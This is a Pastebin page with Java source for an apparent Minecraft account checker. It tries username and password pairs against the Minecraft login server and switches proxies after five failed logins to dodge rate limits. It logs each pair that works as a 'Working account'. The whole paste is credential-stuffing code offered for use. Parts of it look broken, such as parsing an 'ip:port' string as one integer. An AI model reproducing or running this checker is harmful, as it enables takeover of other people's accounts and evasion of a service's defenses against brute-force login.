Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package com.gmail.clonemobro.mcsaturn;
- import java.io.BufferedReader;
- import java.io.InputStream;
- import java.io.InputStreamReader;
- import java.net.InetSocketAddress;
- import java.net.Proxy;
- import java.net.URL;
- public class Connection2 {
- private static int badlogins=0;
- private static int x=0;
- static String getLoginResponse(String username, String password){
- final StringBuilder response = new StringBuilder();
- URL url = null;
- InputStream connection = null;
- final String unformattedUrl = "http://login.minecraft.net/?user=%s&password=%s&version=15";
- final String formattedURL = String.format(unformattedUrl,username, password);
- String proxyString = Action.proxies.get(x);
- String[] pxSplit = proxyString.split(":");
- @SuppressWarnings("unused")
- String port = pxSplit[1];
- @SuppressWarnings("unused")
- String ip = pxSplit[0];
- Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(Integer.parseInt(proxyString)));
- try{
- url = new URL(formattedURL);
- connection = url.openConnection(proxy).getInputStream();
- BufferedReader br = new BufferedReader(new InputStreamReader(
- connection));
- String line = br.readLine();
- while(line !=null){
- response.append(line.replace("<br/>","\n").replace("<p>", "\n"));
- line = br.readLine();
- }
- connection.close();
- } catch(final Exception e) {
- e.printStackTrace();
- }
- if(response.toString().equals("Bad login")){
- badlogins+=1;
- String accombine = username+":"+password;
- if(badlogins==5){
- x+=1;
- after5badlogins(Action.proxies.get(x));
- }
- return "Bad login "+accombine;
- }
- if(!(response.toString().equals("Bad login"))){
- String accombine = username+":"+password;
- Window.appendLogs("Working account "+accombine);
- return "Working account "+accombine;
- }
- return null;
- }
- private static void after5badlogins(String proxy) {
- x+=1;
- System.out.println("FAILED LOGINS 5 times - SWITCHING PROXIES!");
- proxy = Action.proxies.get(x);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement